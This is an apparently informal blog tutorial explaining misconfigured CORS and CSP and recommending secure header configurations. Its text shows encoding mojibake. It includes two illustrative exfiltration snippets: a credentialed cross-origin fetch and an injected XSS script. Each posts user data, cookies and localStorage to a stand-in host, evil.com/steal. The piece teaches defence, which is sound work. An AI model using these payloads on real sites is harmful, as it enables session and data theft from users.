š¤ Why are we even talking about this?
The web š is awesome because itās open. You can load resources from here and there, embed YouTube videos, pull in Google Fonts, and even drop in some random third-party widget that promises to āmake your site fasterā (spoiler: it wonāt).
The problem is that this same openness is also a giant backdoor. š
If anyone can sneak code into your page, whatās stopping them from using it to steal your usersā data, inject malicious scripts, or track every single click they make?
Browsers arenāt stupid (well⦠Edge had its dark age, but it has reformed š). They came up with ways to bring some order to this circus. Enter two serious-sounding buddies: CORS and CSP.
Without them, your site is basically a house with the windows wide open: everything you donāt want slips right in. š„
So letās take a look at the problem, and how attackers can sneak in if you donāt configure this properly.
šØ Attack 1: Misconfigured CORS
If you have user logins (say, in an online store), your API āor certain POST requests (doesnāt need to be a textbook āREST APIā)ā will almost certainly return sensitive data about the logged-in user, like their email or order history. Obviously, because your user needs to see that information on the frontend, in their account page.
Since configuring CORS is always a pain, you take the quick route:Access-Control-Allow-Origin: *
because āthat way it just works and I donāt get errors in the frontendā š.
Now along comes an attacker, sets up a site at evil.com
, and drops in this code:
fetch("https://yourwebsite.com/api/user-data", { credentials: "include" })
.then(r => r.json())
.then(data => {
fetch("https://evil.com/steal", {
method: "POST",
body: JSON.stringify(data)
});
});
Now the attacker sends your user a link (pretending to be you). The user clicks, lands on evil.com
while still logged in to your store⦠and boom š„! The browser, since your API accepts anyone, makes the request with the userās valid session cookies and hands the data over to the script on evil.com
.
Result: private information stolen using the userās legitimate cookies.
A properly configured CORS setup prevents this: from a script on evil.com
, the data from yourwebsite.com
wouldnāt be accessible. The script would still make the request, but the browser (yep, the browser ā Iāll explain that part in a second) blocks access to the response, and the trick fails.
Of course, maybe you do want requests from good.com
to work and return user data, because thatās another one of your services or a trusted third-party you use. Well, thatās exactly what CORS is about: deciding who can make requests to your server, and who canāt.
ā ļø Important detail: the request is always made.
The CORS policy is sent in the response headers. In other words:
- The browser makes the request.
- The server replies.
- Along with the response, it includes which origins are allowed.
- If the origin isnāt on the list, the browser blocks delivering the data to the script.
šāāļø āBut couldnāt they just use Postman, which ignores CORS?ā
Yes, but your usersā cookies arenāt in Postman. Theyāre in Chrome, Safari, Edge⦠in the victimās browser, not the attackerās. So that wonāt work.
šāāļø āWhat about a network sniffer?ā
Also not that easy. First, theyād need to install that sniffer on the userās machine or pull off a man-in-the-middle (hard). Second, if your site uses SSL (right? š), the traffic is encrypted and the sniffer will only see ciphertext. Only the userās browser has the keys to decrypt it.
š Technical detail
Luckily for most people ābecause letās be honest, almost nobody configures this unless it breaks somethingā CORS is restrictive by default. If you donāt specify anything, the browser assumes only same-origin requests are allowed. Lucky you, huh?
š Thatās why we say CORS is āfail-safeā: if you donāt touch it, it protects you. The mess starts when you open it up too much ājust to make it workā⦠and then you donāt really have CORS, you have a giant hole in your security.
šØ Attack 2: Misconfigured (or missing) CSP ā āopen the door and roll out the welcome matā
Your site either has no CSP or runs it in āchill modeā (allows inline scripts, any random CDN, etc.). An attacker finds a spot where they can inject content (a GET parameter, a comment, a search field that reflects input on the pageā¦). Boom: XSS.
Now imagine the attacker manages to get your HTML to render something like this. For example, they drop it into a product review, and since youāre lazy and donāt filter the HTMLā¦
<script>
// Robar sesión o tokens
fetch("https://evil.com/steal", {
method: "POST",
body: JSON.stringify({
cookies: document.cookie,
ls: localStorage, // if you save tokens here... RIP
html: document.documentElement.innerHTML.slice(0, 1000)
})
});
</script>
If you donāt have a CSP, or you use something lax like script-src * 'unsafe-inline'
, the browser happily executes it.
Result: stolen cookies (if theyāre not HttpOnly
), stolen tokens from localStorage
, reading private pages, executing actions with your session (CSRF on steroids)⦠basically, a hackerās party. š
š§Æ How a decent CSP saves you
A well-set CSP basically says: āonly my signed JS gets to run; no inline scripts, nothing without a nonce or a hash.ā The browser sees the injected <script>
and blocks it: no nonce, no party.
š Technical details
The CSP configuration goes in the headers your server sends back along with the HTML. There you can set restrictions for all kinds of actions ā like where forms are allowed to submit, where CSS or JS can be loaded from, which domains the site can connect to, etc.
To protect against the previous example, you could add a header like this to your HTML response:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
connect-src 'self' https://api.your-service.com;
form-action 'self';
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
In this case, since we only allow connections to our own domain (self
) or to a legitimate API, any request to evil.com
would be blocked and never executed.
There are lots of possible CSP configurations, but further down Iāll share the most common ones.
š§Ŗ Pro tip to avoid breaking production ā āReport Onlyā mode
Before going full aggressive, try configuring CSP in report-only mode:
Content-Security-Policy-Report-Only:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123' 'strict-dynamic';
report-uri https://tus-logs.com/csp;
report-to csp-endpoint;
Youāll see what your configuration would break, make adjustments, and once everything is green you switch the header to enforcement mode (without the -Report-Only
).
ā Configs that smell like trouble
script-src *
ā anyone can shove in their own JS.'unsafe-inline'
inscript-src
ā inline scripts and XSS walk right in.- Allowing
data:
orblob:
inscript-src
ā nope (they can pack malicious JS that way). - Loading 20 CDNs without SRI or nonce ā free attack surface.
š Most common CSP directives (and what theyāre for)
š¹ default-src
- Default value if no more specific directive is given.
- Example: default-src ‘self’; ā only loads resources from the same domain, unless another rule overrides it.
š¹ script-src
- Defines where JavaScript scripts can be loaded from.
- Example: script-src ‘self’ https://cdn.jsdelivr.net; ā allows JS from your own domain and from jsDelivr.
- Extras:
'nonce-xxxx'
ā only authorize scripts with that nonce.'sha256-ā¦'
ā hash of the authorized scriptās content.'unsafe-inline'
ā allows inline JS (ā ļø insecure).
š¹ style-src
- Controls CSS (external files and inline
<style>
). - Example: style-src ‘self’ ‘unsafe-inline’ https://fonts.googleapis.com; ā local CSS + inline + Google Fonts.
š¹ img-src
- Defines where images can be loaded from.
- Example: img-src ‘self’ data:; ā only from your domain +
data:
(for embedded icons).
š¹ font-src
- Controls where fonts (
@font-face
) can be loaded from. - Example: font-src ‘self’ https://fonts.gstatic.com;
š¹ connect-src
- Restricts active connections:
fetch
,XMLHttpRequest
,WebSocket
,EventSource
. - Example: connect-src ‘self’ https://api.myapp.com; ā your scripts can only make requests to your API.
š¹ form-action
- Defines which origins can be the target of forms (
<form action="...">
). - Example: form-action ‘self’; ā prevents someone from injecting a
<form>
that posts toevil.com
.
š¹ frame-ancestors
- Controls which origins can embed your page in an
<iframe>
. - Example: frame-ancestors ‘none’; ā protects against clickjacking.
š¹ object-src
- Allows/denies old plugins like Flash, Silverlight, etc.
- Example: object-src ‘none’; ā almost always
none
.
š¹ base-uri
- Restricts the URL that can be used in
<base href="...">
. - Example: base-uri ‘self’; ā prevents scripts from changing the context of relative URLs.
š¹ media-src
- Valid origins for audio and video (
<audio>
,<video>
). - Example: media-src ‘self’ https://cdn.myapp.com;
š¹ frame-src
- Origins for iframes you embed.
- Example: frame-src https://www.youtube.com; ā allows embedding YouTube videos.
š¹ worker-src
- Where Web Workers / Service Workers can be loaded from.
- Example: worker-src ‘self’;
š¹ manifest-src
- Origins from which the Web App Manifest can be loaded.
- Example: manifest-src ‘self’;
So, what do you think ?